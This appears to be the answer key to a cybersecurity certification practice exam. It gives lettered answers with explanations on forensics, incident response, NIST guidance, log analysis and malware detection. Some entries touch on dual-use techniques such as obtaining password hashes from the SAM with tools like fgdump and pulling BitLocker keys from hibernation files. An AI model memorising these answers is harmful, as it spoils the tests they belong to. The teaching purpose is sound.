C. The default macOS drive format is APFS and is the native macOS drive format. macOS does support FAT32 and can read NTFS but cannot write to NTFS drives without additional software. HFS+ was the default file system for earlier versions of macOS.

B. Eraser is a tool used to securely wipe files and drives. If Eraser is not typically installed on his organization's machines, Tim should expect that the individual being investigated has engaged in some antiforensic activities including wiping files that may have been downloaded or used against company policy. This doesn't mean he shouldn't continue his investigation, but he may want to look at Eraser's log for additional evidence of what was removed.

B. Data carving is the process of identifying files based on file signatures such as headers and footers and then pulling the information between those locations out as a file. Jessica can use common carving tools or could manually carve files if she knows common header and footer types that she can search for.

D. A CSIRT leader must have authority to direct the incident response process and should be able to act as a liaison with organizational management. Although Latisha may not have deep incident response experience, she is in the right role to provide those connections and leadership. She should look at retaining third-party experts for incidents if she needs additional skills or expertise on her IR team.

B. This system is not connected to a domain (default domain name has no value), and the default user is admin.

A. The NX bit sets fine-grained permissions to mapped memory regions, while ASLR ensures that shared libraries are loaded at randomized locations, making it difficult for attackers to leverage known locations in memory via shared library attacks. DEP is a Windows tool for memory protection, and position-independent variables are a compiler-level protection that is used to secure programs when they are compiled.

C. If the Security log has not rotated, Angela should be able to find the account creation under event ID 4720. The System log does not contain user creation events, and user profile information doesn't exist until the user's first login. The registry is also not a reliable source of account creation date information.

A. The Linux file command shows a file's format, encoding, what libraries it is linked to, and its file type (binary, ASCII text, etc.). Since Alex suspects that the attacker used statically linked libraries, the file command is the best command to use for this scenario. stat provides the last time accessed, permissions, UID and GID bit settings, and other details. It is useful for checking when a file was last used or modified but won't provide details about linked libraries. strings and grep are both useful for analyzing the content of a file and may provide Alex with other hints but won't be as useful as the file command for this purpose.

D. Lauren will get the most information by setting auditing to All but may receive a very large number of events if she audits commonly used folders. Auditing only success or failure would not show all actions, and full control is a permission, not an audit setting.

A. The apt command is used to install and upgrade packages in Ubuntu Linux from the command line. The apt-get -u upgrade command will list needed upgrades and patches (and adding the -V flag will provide useful version information). The information about what patches were installed is retained in /var/log/apt, although log rotation may remove or compress older update information.

C. Under most circumstances Ophcrack's rainbow table-based cracking will result in the fastest hash cracking. Hashcat's high-speed, GPU-driven cracking techniques are likely to come in second, with John the Ripper and Cain and Abel's traditional CPU-driven cracking methods remaining slower unless their mutation-based password cracks discover simple passwords very quickly.

A. A logical acquisition focuses on specific files of interest, such as a specific type of file, or files from a specific location. In Eric's case, a logical acquisition meets his needs. A sparse acquisition also collects data from unallocated space. A bit-by-bit acquisition is typically performed for a full drive and will take longer.

A. Resource Monitor provides average CPU utilization in addition to real-time CPU utilization. Since Kelly wants to see average usage over time, she is better off using Resource Monitor instead of Task Manager (which meets all of her other requirements). Performance Monitor is useful for collecting performance data, and iperf is a network performance measurement tool.

D. The chain of custody for evidence is maintained by logging and labeling evidence. This ensures that the evidence is properly controlled and accessed.

A. Roger has memory usage monitoring enabled with thresholds shown at the bottom of the chart that will generate an alarm if it continues. The chart shows months of stable memory utilization with very little deviation. Although a sudden increase could happen, this system appears to be functioning well.

Memory usage is high, however, in a well-tuned system that does not have variable memory usage or sudden spikes. This is often an acceptable situation. Windows does not have an automated memory management tool that will curtail memory usage in this situation.

B. The more effort Frank puts into staying up-to-date with information by collecting threat information (5), monitoring for indicators (1), and staying up-to-date on security alerts (3), the stronger his organization's security will be. Understanding specific threat actors may become relevant if they specifically target organizations like Frank's, but as a midsize organization Frank's employer is less likely to be specifically targeted directly.

A. The Windows registry stores a list of wireless networks the system has connected to in the registry under HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\NetworkList\Profiles. This is not a user-specific setting and is stored for all users in LocalMachine.

B. Although it may seem to be a simple answer, ensuring that all input is checked to make sure that it is not longer than the variable or buffer it will be placed into is an important part of protecting web applications. Canonicalization is useful against scripting attacks. Format string attacks occur when input is interpreted as a command by an application. Buffer overwriting typically occurs with a circular buffer as data is replaced and is not an attack or attack prevention method.

A. Suspending a virtual machine will result in the RAM and disk contents being stored to the directory where it resides. Simply copying that folder is then sufficient to provide Susan with all the information she needs. She should not turn the virtual machine off, and creating a forensic copy of the drive is not necessary (but she should still validate hashes for the copied files or directory).

A. Chrome stores a broad range of useful forensic information in its SQLite database, including cookies, favicons, history, logins, top sites, web form data, and other details. Knowing how to write SQL queries or having access to a forensic tool that makes these databases easy to access can provide a rich trove of information about the web browsing history of a Chrome user.

B. FTK Imager Light is shown configured to write a single large file that will fail on FAT32-formatted drives where the largest single file is 4 GB. If Chris needs to create a single file, he should format his destination drive as NTFS. In many cases, he should simply create a raw image to a blank disk instead!

A. The simplest way to handle a configuration like this is to allow it to be reset when the condition is no longer true. If Christina adds the MAC address to her allowed devices list, this will automatically remove the alert. If she does not, the alert will remain for proper handling.

B. Modern versions of Windows include the built-in certutil utility. Running certutil -hashfile [file location] md5 will calculate the MD5 hash of a file. certutil also supports SHA1 and SHA256 as well as other less frequently used hashes. md5sum and sha1sum are Linux utilities, and hashcheck is a shell extension for Windows.

B. Disclosure based on regulatory or legislative requirements is commonly part of an incident response process; however, public feedback is typically a guiding element of information release. Limiting communication to trusted parties and ensuring that data and communications about the incident are properly secured are both critical to the security of the incident response process. This also means that responders should work to limit the potential for accidental release of incident-related information.

D. A sudden resumption of traffic headed “in” after sitting at zero likely indicates a network link or route has been repaired. A link failure would show a drop to zero, rather than an increase. The complete lack of inbound traffic prior to the resumption at 9:30 makes it unlikely this is a DDoS, and the internal systems are not sending significant traffic outbound.

D.  ifconfig, netstat -i, and ip link show will all display a list of the network interfaces for a Linux system. The intf command is made up for this question.

B. Address space layout randomization (ASLR) is a technique used to prevent buffer overflows and stack smashing attacks from being able to predict where executable code resides in the heap. DEP is data execution protection, and both StackProtect and MemShuffle were made up for this question.

D. The Windows Quick Format option leaves data in unallocated space on the new volume, allowing the data to be carved and retrieved. This does not meet the requirements for any of the three levels of sanitization defined by NIST.

C. Angela's best choice would be to implement IP reputation to monitor for connections to known bad hosts. Antivirus definitions, file reputation, and static file analysis are all useful for detecting malware, but command-and-control traffic like beaconing will typically not match definitions, won't send known files, and won't expose files for analysis.

C. Restoring a system to normal function, including removing it from isolation, is part of the containment, eradication, and recovery stage. This may seem to be part of the postincident activity phase, but that phase includes activities such as reporting and process updates rather than system restoration.

A. Flow logs would show Chris outbound traffic flows based on remote IP addresses as well as volume of traffic, and behavioral (heuristic) analysis will help him to alert on similar behaviors. Chris should build an alert that alarms when servers in his datacenter connect to domains that are not already whitelisted and should strongly consider whether servers should be allowed to initiate outbound connections at all.

B. The NIST recoverability effort categories call a scenario in which time to recovery is predictable with additional resources “supplemented.” The key to the NIST levels is to remember that each level of additional unknowns and resources required increases the severity level from regular to supplemented and then to extended. A nonrecoverable situation exists when the event cannot be remediated, such as when data is exposed. At that point, an investigation is launched. In a nongovernment agency, this phase might involve escalating to law enforcement.

C. Using a forensic SIM (which provides some but not all of the files necessary for the phone to work); using a dedicated forensic isolation appliance that blocks Wi-Fi, cellular, and Bluetooth signals; or even simply putting a device into airplane mode are all valid mobile forensic techniques for device isolation. Although manipulating the device to put it into airplane mode may seem strange to traditional forensic examiners, this is a useful technique that can be documented as part of the forensic exercise if allowed by the forensic protocols your organization follows.

B. The audit package can provide this functionality. auditd runs as a service, and then auditctl is used to specifically call out the files or directories that will be monitored.

D. A forensic investigator's best option is to seize, image, and analyze the drive that Janet downloaded the files to. Since she only deleted the files, it is likely that the investigator will be able to recover most of the content of the files, allowing them to be identified. Network flows do not provide file information, SMB does not log file downloads, browser caches will typically not contain a list of all downloaded files, and incognito mode is specifically designed to not retain session and cache information.

B. Jose can choose to isolate the compromised system, either physically or logically, leaving the attacker with access to the system while isolating it from other systems on his network. If he makes a mistake, he could leave his own systems vulnerable, but this will allow him to observe the attacker.

D. NIST SP 800-61 categorizes signs of an incident into two categories, precursors and indicators. Precursors are signs that an incident may occur in the future. Since there is not an indicator that an event is in progress, this can be categorized as a precursor. Now Abdul needs to figure out how he will monitor for a potential attack.

D. Lessons learned reviews are typically conducted by independent facilitators who ask questions like “What happened, and at what time?” and “What information was needed, and when?” Lessons learned reviews are conducted as part of the postincident activity stage of incident response and provide an opportunity for organizations to improve their incident response process.

B. Although patching is useful, it won't stop zero-day threats. If Allan is building a plan specifically to deal with zero-day threats, he should focus on designing his network and systems to limit the possibility and impact of an unknown vulnerability. That includes using threat intelligence, using segmentation, using whitelisting applications, implementing only necessary firewall rules, using behavior and baseline-based intrusion prevention rules and SIEM alerts, and building a plan in advance.

C. NIST describes events with negative consequences as adverse events. It might be tempting to immediately call this a security incident; however, this wouldn't be classified that way until an investigation was conducted. If the user accidentally accessed the file, it would typically not change classification. Intentional or malicious access would cause the adverse event to become a security incident.

D. Cell phones contain a treasure trove of location data, including both tower connection log data and GPS location logs in some instances. Photographs taken on mobile devices may also include location metadata. Microsoft Office files do not typically include location information.

Other potential sources of data include car GPS systems if the individual has a car with built-in GPS, black-box data-gathering systems, social media posts, and fitness software, as well as any other devices that may have built-in GPS or location detection capabilities. In some cases, this can be as simple as determining whether the individual's devices were connected to a specific network at a specific time.

C. Documentation is important when tracking drives to ensure that all drives that should be sanitized are being received. Documentation can also provide evidence of proper handling for audits and internal reviews.

D. Outsourcing to a third-party incident response provider allows Mike to bring in experts when an incident occurs while avoiding the day-to-day expense of hiring a full-time staff member. This can make a lot of financial sense if incidents occur rarely, and even large organizations bring in third-party response providers when large incidents occur. A security operations center (SOC) would be appropriate if Mike needed day-to-day security monitoring and operations, and hiring an internal team does not match Mike's funding model limitations in this scenario.

C. An air gap is a design model that removes connections between network segments or other systems. The only way to cross an air gap is to carry devices or data between systems or networks, making removable media the threat vector here.

C. Dan can look up the manufacturer prefix that makes up the first part of the MAC address. In this case, Dan will discover that the system is likely a Dell, potentially making it easier for him to find the machine in the office. Network management and monitoring tools build in this identification capability, making it easier to see if unexpected devices show up on the network. Of course, if the local switch is a managed switch, he can also query it to determine what port the device is plugged into and follow the network cable to it.

C. NIST identifies three activities for media sanitization: clearing, which uses logical techniques to sanitize data in all user-addressable storage locations; purging, which applies physical or logical techniques to render data recovery infeasible using state-of-the-art laboratory techniques; and destruction, which involves physically destroying the media.

B. Degaussing, which uses a powerful electromagnet to remove data from tape media, is a form of purging.

A. As long as Brian is comfortable relying on another backup mechanism, he can safely disable volume shadow copies and remove the related files. For the drive he is looking at, this will result in approximately 26 GB of storage becoming available.

C. Suki's best bet to track down the original source of the emails that are being sent is to acquire full headers from the spam email. This will allow her to determine whether the email is originating from a system on her network or whether the source of the email is being spoofed. Once she has headers or if she cannot acquire them, she may want to check one or more of the other options on this list for potential issues.

C. Most portable consumer devices, especially those that generate large files, format their storage as FAT32. FAT16 is limited to 2 GB partitions, RAW is a photo file format, and APFS is the native macOS file format. Lauren can expect most devices to format media as FAT32 by default because of its broad compatibility across devices and operating systems.

C. The traffic values captured by ifconfig reset at 4 GB of data, making it an unreliable means of assessing how much traffic a system has sent when dealing with large volumes of traffic. Bohai should use an alternate tool designed specifically to monitor traffic levels to assess the system's bandwidth usage.

C. Brian should determine whether he needs live forensic information, but if he is not certain, the safest path for him is to collect live forensic information, take photos so that he knows how each system was set up and configured, and then power them down. He would then log each system as evidence and will likely create forensic copies of the drives once he reaches his forensic work area or may use a portable forensic system to make drive images on-site. Powering a running system down can result in the loss of significant forensic information, meaning that powering a system down before collecting some information is typically not recommended. Collecting a static image of a drive requires powering the system down first.

B. When forensic evidence or information is produced for a civil case, it is called e-discovery. This type of discovery often involves massive amounts of data, including email, files, text messages, and any other electronic evidence that is relevant to the case.

A. Personally identifiable information (PII) includes information that can be used to identify, contact, or locate a specific individual. At times, PII must be combined with other data to accomplish this but remains useful for directly identifying an individual. The data that Manish and Linda are classifying is an example of PII. PHI is personal health information. Intellectual property is the creation of human minds including copyrighted works, inventions, and other similar properties. PCI DSS is the Payment Card Industry Data Security Standards.

C. A chain-of-custody form is used to record each person who works with or is in contact with evidence in an investigation. Typically, investigative work is also done in a way that fully records all actions taken and sometimes requires two people present to verify actions taken.

A. Since Scott needs to know more about potential vulnerabilities, an authenticated scan from an internal network will provide him with the most information. He will not gain a real attacker's view, but in this case, having more detail is important.

C. The primary role of management in an incident response effort is to provide the authority and resources required to respond appropriately to the incident. They may also be asked to make business decisions, communicate with external groups, or assess the impact on key stakeholders.

D. Both auth.log and /etc/passwd may show evidence of the new user, but auth.log will provide details, while Chris would need to have knowledge of which users existed prior to this new user being added. Chris will get more useful detail by checking auth.log.

C. Process Monitor provides detailed tracking of filesystem and registry changes as well as other details that can be useful when determining what changes an application makes to a system. System administrators and forensic and incident response professionals often use this, as it can help make tracking down intricate installer problems much easier.

C. NIST does not include making backups of every system and device in its documentation. Instead, NIST suggests maintaining an organizationwide knowledge base with critical information about systems and applications. Backing up every device and system can be prohibitively expensive. Backups are typically done only for specific systems and devices, with configuration and restoration data stored for the rest.

B. NIST identifies four major phases in the IR life cycle: preparation; detection and analysis; containment, eradication, and recovery; and postincident activity. Notification and communication may occur in multiple phases.

D. The page file, like many system files, is locked while Windows is running. Charles simply needs to shut down the system and copy the page file. Some Windows systems may be set to purge the page file when the system is shut down, so he may need to pull the plug to get an intact page file.

B. Checking the SSID won't help since an evil twin specifically clones the SSID of a legitimate AP. You can identify evil twins by checking their BSSID (the wireless MAC address). If the wireless MAC has been cloned, checking additional attributes such as the channel, cipher, or authentication method can help identify them. In many cases, they can also be identified using the organizational unique identifier (OUI) that is sent as a tagged parameter in beacon frames.

C. Slack space is leftover storage that exists because files do not take up the entire space allocated for them. Since the Unallocated partition does not have a filesystem on it, space there should not be considered slack space. Both System Reserved and C: are formatted with NTFS and will have slack space between files.

C. Luke should expect to find most of the settings he is looking for contained in plists, or property lists, which are XML files encoded in a binary format.

C. Without other requirements in place, many organizations select a one- to two-year retention period. This allows enough time to use existing information for investigations but does not retain so much data that it cannot be managed. Regardless of the time period selected, organizations should set and consistently follow a retention policy.

C. If Alice focuses on a quick restoration, she is unlikely to preserve all of the evidence she would be able to during a longer incident response process. Since she is focusing on quick restoration, the service should be available more quickly, and the service and system should not be damaged in any significant way by the restoration process. The time required to implement the strategy will typically be less if she does not conduct a full forensic investigation and instead focuses on service restoration.

D. Criminal investigations can take very long periods of time to resolve. In most cases, Joe should ensure that he can continue to operate without the servers for the foreseeable future.

C. A RAW image, like those created by dd, is Piper's best option for broad compatibility. Many forensic tools support multiple image formats, but RAW files are supported almost universally by forensic tools.

D. Windows systems record new device connections in the security audit log if configured to do so. In addition, information is collected in both the setupapi log file and in the registry, including information on the device, its serial number, and often manufacturer and model details. The user's profile does not include device information.

B. When a network share or mounted drive is captured from the system that mounts it, data like deleted files, unallocated space, and other information that requires direct drive access will not be captured. If Scott needs that information, he will need to create a forensic image of the drive from the host server.

D. NIST identifies customers, constituents, media, other incident response teams, Internet service providers, incident reporters, law enforcement agencies, and software and support vendors as outside parties that an IR team will communicate with.

B. Questions including what tools and resources are needed to detect, analyze, or mitigate figure incidents, as well as topics such as how information sharing could be improved, what could be done better or differently, and how effective existing processes and policies are, can all be part of the lessons learned review.

B. The order of volatility for common storage locations is as follows:

CPU cache, registers, running processes, RAM

Network traffic

Disk drives

Backups, printouts, optical media

C. Removing a system from the network typically occurs as part of the containment phase of an incident response process. Systems are typically not returned to the network until the end of the recovery phase.

D. MD5, SHA-1, and SHA-2 hashes are all considered forensically sound. Although MD5 hashes are no longer a secure means of hashing, they are still considered appropriate for validation of forensic images because it is unlikely that an attacker would intentionally create a hash collision to falsify the forensic integrity of a drive.

D. NIST's Computer Security Incident Handling Guide notes that identifying an attacker can be “time-consuming and futile.” In general, spending time identifying attackers is not a valuable use of incident response time for most organizations.

B. The ability to create a timeline of events that covers logs, file changes, and many other artifacts is known as a Super Timeline. SIFT includes this capability, allowing Rick to decide what event types and modules he wants to enable as part of his timeline-based view of events.

B. It is unlikely that skilled attackers will create a new home directory for an account they want to hide. Checking /etc/password and /etc/shadow for new accounts is a quick way to detect unexpected accounts, and checking both the sudoers and membership in wheel and other high-privilege groups can help Vlad detect unexpected accounts with increased privileges.

A. Information sharing and analysis centers (ISACs) are information sharing and community support organizations that work within vertical industries like energy, higher education, and other business domains. Ben may choose to have his organization join an ISAC to share and obtain information about threats and activities that are particularly relevant to what his organization does. A CSIRT is a computer security incident response team and tends to be hosted in a single organization, a VPAC is made up, and an IRT is an incident response team.

C. Headers can be helpful when tracking down spam email, but spammers often use a number of methods to obfuscate the original sender's IP address, email, or other details. Unfortunately, email addresses are often spoofed, and the email address may be falsified. In this case, the only verifiable information in these headers is the IP address of the originating host, mf-smf-ucb011.ocn.ad.jp (mf-smf-ucb011.ocn.ad.jp) [153.149.228.228]. At times even this detail can be forged, but in most cases, this is simply a compromised host or one with an open email application that spammers can leverage to send bulk email.

C. The keychain in macOS stores user credentials but does not store user account passwords. All the other options listed are possible solutions for Azra, but none of them will work if the system has FileVault turned on.

C. iPhone backups to local systems can be full or differential, and in this scenario the most likely issue is that Cynthia has recovered a differential backup. She should look for additional backup files if she does not have access to the original phone. If the backup was encrypted, she would not be able to access it without a cracking tool, and if it was interrupted, she would be unlikely to have the backup file or have it be in usable condition. iCloud backups require access to the user's computer or account and are less likely to be part of a forensic investigation.

A. A second forensic examiner who acts as a witness, countersigning all documentation and helping document all actions, provides both strong documentation and another potential witness in court. Independent forensic action, no matter how well documented, will not be as reliable as having a witness.

B. Although it may seem obvious that the system should be isolated from the network when it is rebuilt, we have seen this exact scenario played out before. In one instance, the system was compromised twice before the system administrator learned their lesson!

D. MBR-, UEFI-, and BIOS-resident malware packages can all survive a drive wipe, but hiding files in slack space will not survive a zero wipe. Although these techniques are uncommon, they do exist and have been seen in the wild.

D. Patents, copyrights, trademarks, and trade secrets are all forms of intellectual property. Patents, copyrights, and trademarks are all legal creations to support creators, while trade secrets are proprietary business information and are not formally protected by governments.

B. BYOD (Bring Your Own Device) is increasingly common, and administrators typically find that network utilization, support tickets, and security risk (because of misconfigured, unpatched, or improperly secured devices) increase. Most organizations do not experience additional device costs with BYOD, since users are providing their own devices.

A. The space that Saria sees is the space between the end of the file and the space allocated per cluster or block. This space may contain remnants of previous files written to the cluster or block or may simply contain random data from when the disk was formatted or initialized.

C. The U.S. National Archives General Records Schedule stipulates a three-year records retention period for incident-handling records.

A. Trusted system binary kits like those provided by the National Software Reference Library include known good hashes of many operating systems and applications. Kathleen can validate the files on her system using references like the NSRL (www.nsrl.nist.gov/new.html).

A. Pluggable authentication module (PAM)–aware applications have a file in the /etc/pam.d directory. These files list directives that define the module and what settings or controls are enabled. Sadiq should ensure that the multifactor authentication system he uses is configured as required in the PAM files for the services he is reviewing.

B. NIST specifically recommends the hostname, MAC addresses, and IP addresses of the system. Capturing the full output of an ipconfig or ifconfig command may be useful, but forensic analysis may not permit interaction with a live machine. Additional detail like the domain (or domain membership) may or may not be available for any given machine, and NIC manufacturer and similar data is not necessary under most circumstances.

D. Since most APTs (including this one, as specified in the question) send traffic in an encrypted form, performing network forensics or traffic analysis will only provide information about potentially infected hosts. If Ryan wants to find the actual tools that may exist on endpoint systems, he should conduct endpoint forensics. Along the way, he may use endpoint behavior analysis, network forensics, and network traffic analysis to help identify target systems.

B. Each antivirus or antimalware vendor uses their own name for malware, resulting in a variety of names showing for a given malware package or family. In this case, the malware package is a ransomware package; that is known by some vendors as GoldenEye or Petya.

B. When a system is not a critical business asset that must remain online, the best response is typically to isolate it from other systems and networks that it could negatively impact. By disconnecting it from all networks, Ben can safely investigate the issue without causing undue risk.

We have actually encountered this situation. After investigating, we found that the user's text-to-speech application was enabled, and the microphone had the gain turned all the way up. The system was automatically typing words based on how it interpreted background noise, resulting in strange text that terrified the unsuspecting user.

C. When clusters are overwritten, original data is left in the unused space between the end of the new file and the end of the cluster. This means that copying new files over old files can leave remnant data that may help Kathleen prove that the files were on the system by examining slack space.

C. The command line for snmpwalk provides the clues you need. The -c flag specifies a community string to use, and the -v flag specifies the SNMP version. Since we know the community string, you can presume that the contact ID is root rather than the community string.

C. The built-in macOS utility for measuring memory, CPU, disk, network, and power usage is Activity Monitor. Windows uses Resource Monitor, Sysradar was made up for this question, and System Monitor is used to collect information from Microsoft's SQL Server via RPC.

A. If the system that Angela is attempting to access had mounted the encrypted volume before going to sleep and there is a hibernation file, Angela can use hibernation file analysis tools to retrieve the BitLocker key. If the system did not hibernate or the volume was not mounted when the system went to sleep, she will not be able to retrieve the keys. Memory analysis won't work with a system that is off, the boot sector does not contain keys, and brute-force cracking is not a viable method of cracking BitLocker keys because of the time involved.

C. The pseudocode tells you that Adam is trying to detect outbound packets that are part of short communications (fewer than 10 packets and fewer than 3,000 bytes) and that he believes the traffic may appear to be web traffic, be general TCP traffic, or not match known traffic types. This is consistent with the attributes of beaconing traffic. Adam also is making sure that general web traffic won't be captured by not matching on uripath and contentencoding.

B. Services are often started by xinetd (although newer versions of some distributions now use systemctl). Both /etc/passwd and /etc/shadow are associated with user accounts, and $HOME/.ssh/ contains SSH keys and other details for SSH-based logins.

B. NIST classifies changes or deletion of sensitive or proprietary information as an integrity loss. Proprietary breaches occur when unclassified proprietary information is accessed or exfiltrated, and privacy breaches involve personally identifiable information (PII) that is accessed or exfiltrated.

C. Although responders are working to contain the incident, they should also reserve forensic and incident information for future analysis. Restoration of service is often prioritized over analysis during containment activities, but taking the time to create forensic images and to preserve log and other data is important for later investigation.

C. The system Nara is reviewing only has login failure logging turned on and will not capture successful logins. She cannot rely on the logs to show her who logged in but may be able to find other forensic indicators of activity, including changes in the user profile directories and application caches.

A. The only true statement based on the image is that there are two remote users connected to the system via SSH. Port 9898 is registered with IANA as Monkeycom but is often used for Tripwire, leading to incorrect identification of the service. The local system is part of the example.com domain, and the command that was run will not show any UDP services because of the -at flag, meaning that you cannot verify if any UDP services are running.

A. Windows does not include a built-in secure erase tool in the GUI or at the command line. Using a third-party program like Eraser or a bootable tool like DBAN is a reasonable option, and encrypting the entire drive and then deleting the key will have the same effect.

D. This data is obviously not personally identifiable information (PII), personal health information (PHI), or payment card information (PCI). Data about a merger would be considered corporate confidential information.

C. Postmortem forensics can typically be done after shutting down systems to ensure that a complete forensic copy is made. Live forensics imaging can help to capture memory-resident malware. It can also aid in the capture of encrypted drives and filesystems when they are decrypted for live usage. Finally, unsupported filesystems can sometimes be imaged while the system is booted by copying data off the system to a supported filesystem type. This won't retain some filesystem-specific data but can allow key forensic activities to take place.

D. There is no common standard for determining the age of a user account in Linux. Some organizations add a comment to user accounts using the -c flag for user creation to note when they are created. Using the ls command with the -ld flag will show the date of file creation, which may indicate when a user account was created if a home directory was created for the user at account creation, but this is not a requirement. The aureport command is useful if auditd is in use, but that is not consistent between Linux distros.

B. Profiling networks and systems will provide a baseline behavior set. A SIEM or similar system can monitor for differences or anomalies that are recorded as events. Once correlated with other events, these can be investigated and may prove to be security incidents. Dynamic and static analyses are types of code analysis, whereas behavioral, or heuristic, analysis focuses on behaviors that are indicative of an attack or other undesirable behavior. Behavioral analysis does not require a baseline; instead, it requires knowing what behavior is not acceptable.

C. A system restore should not be used to rebuild a system after an infection or compromise since it restores only Windows system files, some program files, registry settings, and hardware drivers. This means that personal files and most malware, as well as programs installed or modifications to programs after the restore point is created, will not be restored.

B. Portable imaging tools like FTK Imager Lite can be run from removable media, allowing a live image to be captured. Kobe may still want to capture the system memory as well, but when systems are used for data gathering and egress, the contents of the disk will be important. Installing a tool or taking the system offline and mounting the drive are both undesirable in this type of scenario when the system must stay online and should not be modified.

C. The File System audit subcategory includes the ability to monitor for both access to objects (event ID 4663) and permission changes (event ID 4670). Manish will probably be most interested in 4670 permission change events, as 4663 events include read, write, delete, and other occurrences and can be quite noisy!

B. If Manish has good reason to believe he is the only person with root access to the system, he should look for a privilege escalation attack. A remote access trojan would not directly provide root access, and a hacked root account is less likely than a privilege escalation attack. A malware infection is possible, and privilege escalation would be required to take the actions shown.

B. NIST describes brute-force methods used to degrade networks or services as a form of attrition in their threat classification scheme. It may be tempting to call this improper usage, and it is; however, once an employee has been terminated, it is no longer an insider attack, even if the employee retains access.

C. The original creation date (as shown by the GPS date), the device type (an iPhone X), the GPS location, and the manufacturer of the device (Apple) can all provide useful forensic information. Here, you know when the photo was taken, where it was taken, and what type of device it was taken on. This can help narrow down who took the photo or may provide other useful clues when combined with other forensic information or theories.

B. A jump kit is a common part of an incident response plan and provides responders with the tools they will need without having to worry about where key pieces of equipment are during a stressful time. Crash carts are often used in datacenters to connect a keyboard, mouse, and monitor to a server to work on it. First-responder kits are typically associated with medical responders, and a grab bag contains random items.

B. Chrome uses the number of seconds since midnight on January 1, 1601, for its timestamps. This is similar to the file time used by Microsoft in some locations, although the file time records time in 100 nanosecond slices instead of seconds. Since the problem did not specify an operating system and Chrome is broadly available for multiple platforms, you'll likely have recognized that this is unlikely to be a Microsoft timestamp. ISO 8601 is written in a format like this: 2017-04-02T04:01:34+00:00.

B. Although it may seem like an obvious answer, Microsoft's MBSA is now outdated and does not fully support Windows 10. Marsha should select one of the other options listed to ensure that she gets a complete report.

D. Facebook, as well as many other social media sites, now strip image metadata to help protect user privacy. John would need to locate copies of the photos that have not had the metadata removed and may still find that they did not contain additional useful data.

D. The U.S. Department of Health and Human Services defines PHI data elements to include all “individually identifiable health information,” including an individual's physical or mental health and their payment for healthcare in the past, present, future; their identity or information that could be used to identify an individual; and the data about the provision of healthcare to individuals. It does not include educational records.

A. FISMA requires that U.S. federal agencies report incidents to US-CERT. CERT/CC is the coordination center of the Software Engineering Institute and researches software and Internet security flaws as well as works to improve software and Internet security. The National Cyber Security Authority is Israel's CERT, whereas the National Cyber Security Centre is the UK's CERT.

C. The order of volatility for media from least to most volatile is often listed as backups and printouts; then disk drives like hard drives and SSDs; then virtual memory; and finally CPU cache, registers, and RAM. Artifacts stored in each of these locations can be associated with the level of volatility of that storage mechanism. For example, routing tables will typically be stored in RAM, making them highly volatile. Data stored on a rewritable media is always considered more volatile than media stored on a write-only media.

B. The SAM is stored in C:\Windows\System32\config but is not accessible while the system is booted. The hashed passwords are also stored in the registry at HKEY_LOCAL_MACHINE\SAM but are also protected while the system is booted. The best way to recover the SAM is by booting off of removable media or using a tool like fgdump.

A. Modern Microsoft Office files are actually stored in a ZIP format. Alex will need to open them using a utility that can unzip them before he can manually review their contents. He may want to use a dedicated Microsoft Office forensics tool or a forensics suite with built-in support for Office documents.

B. Memory pressure is a macOS-specific term used to describe the availability of memory resources. Yellow segments on a memory pressure chart indicate that memory resources are still available but are being tasked by memory management processes such as compression.

D. Once a command prompt window has been closed on a Windows system, the command history is erased. If Lukas could catch the user with an open command prompt, he could press F7 and see the command history.

C. Wireless evil twin attacks use a rogue AP configured to spoof the MAC address of a legitimate access point. The device is then configured to provide what looks like a legitimate login page to capture user credentials, allowing attackers to use those credentials to access other organizational resources.

D. The program netcat is typically run using nc. The -k flag for netcat makes it listen continuously rather than terminating after a client disconnects, and -l determines the port that it is listening on. In this case, the netcat server is listening on TCP port 6667, which is typically associated with IRC.

D. Economic impact is calculated on a relative scale, and Angela does not have all of the information she needs. A $500,000 loss may be catastrophic for a small organization and may have a far lower impact to a Fortune 500 company. Other factors like cybersecurity insurance may also limit the economic impact of a cybersecurity incident.

D. Saanvi simply needs to generate a known event ID that he can uniquely verify. Once he does, he can log into the SIEM and search for that event at the time he generated it to validate that his system is sending syslogs.

C. Windows includes a built-in memory protection scheme called Data Execution Prevention (DEP) that prevents code from being run in pages that are marked as nonexecutable. By default, DEP only protects “essential Windows programs and services,” but it can be enabled for all programs and services, enabled for all programs and services except those that are on an exception list, or entirely disabled.

B. The NIST guidelines require validation after clearing, purging, or destroying media to ensure that the action that was taken is effective. This is an important step since improperly applying the sanitization process and leaving data partially or even fully intact can lead to a data breach.

B. Tamper-proof seals are used when it is necessary to prove that devices, systems, or spaces were not accessed. They often include holographic logos that help to ensure that tampering is both visible and cannot be easily hidden by replacing the sticker. A chain-of-custody log works only if personnel actively use it, and system logs will not show physical access. If Latisha has strong concerns, she may also want to ensure that the room or space is physically secured and monitored using a camera system.

C. Collecting and analyzing logs most often occurs in the detection phase, whereas connecting attacks back to attackers is typically handled in the containment, eradication, and recovery phase of the NIST incident response process.

B. Maria has performed interactive behavior analysis. This process involves executing a file in a fully instrumented environment and then tracking what occurs. Maria's ability to interact with the file is part of the interactive element and allows her to simulate normal user interactions as needed or to provide the malware with an environment where it can interact like it would in the wild.

C. If Raj has ensured that his destination media is large enough to contain the image, then a failure to copy is most likely because of bad media. Modification of the source data will result in a hash mismatch, encrypted drives can be imaged successfully despite being encrypted (the imager doesn't care!), and copying in RAW format is simply a bit-by-bit copy and will not cause a failure.

A. Derek has created a malware analysis sandbox and may opt to use tools like Cuckoo, Truman, Minibis, or a commercial analysis tool. If he pulls apart the files to analyze how they work, he would be engaging in reverse engineering, and doing code-level analysis of executable malware would require disassembly. Darknets are used to identify malicious traffic and aren't used in this way.

A. Failed SSH logins are common, either because of a user who has mistyped their password or because of scans and random connection attempts. Liam should review his SSH logs to see what may have occurred.

B. By default, Run and RunOnce keys are ignored when Windows systems are booted into Safe Mode. Clever attackers may insert an asterisk to force the program to run in Safe Mode; however, this is not a common tactic.

B. The setupapi file ( C:\Windows\INF\setupapi.dev.log) records the first time a USB device is connected to a Windows system using the local system's time. Other device information is collected in the registry, and the system security log may contain connection information if USB device logging is specifically enabled.

C. The only solution from Latisha's list that might work is to capture network flows, remove normal traffic, and then analyze what is left. Peer-to-peer botnets use rapidly changing control nodes and don't rely on a consistent, identifiable control infrastructure, which means that traditional methods of detecting beaconing will typically fail. They also use quickly changing infection packages, making signature-based detection unlikely to work. Finally, building a network traffic baseline after an infection will typically make the infection part of the baseline, resulting in failure to detect malicious traffic.

B. Identifying the attacker is typically handled either during the identification stage or as part of the post-incident activities. The IR process typically focuses on capturing data and allowing later analysis to ensure that services are restored.

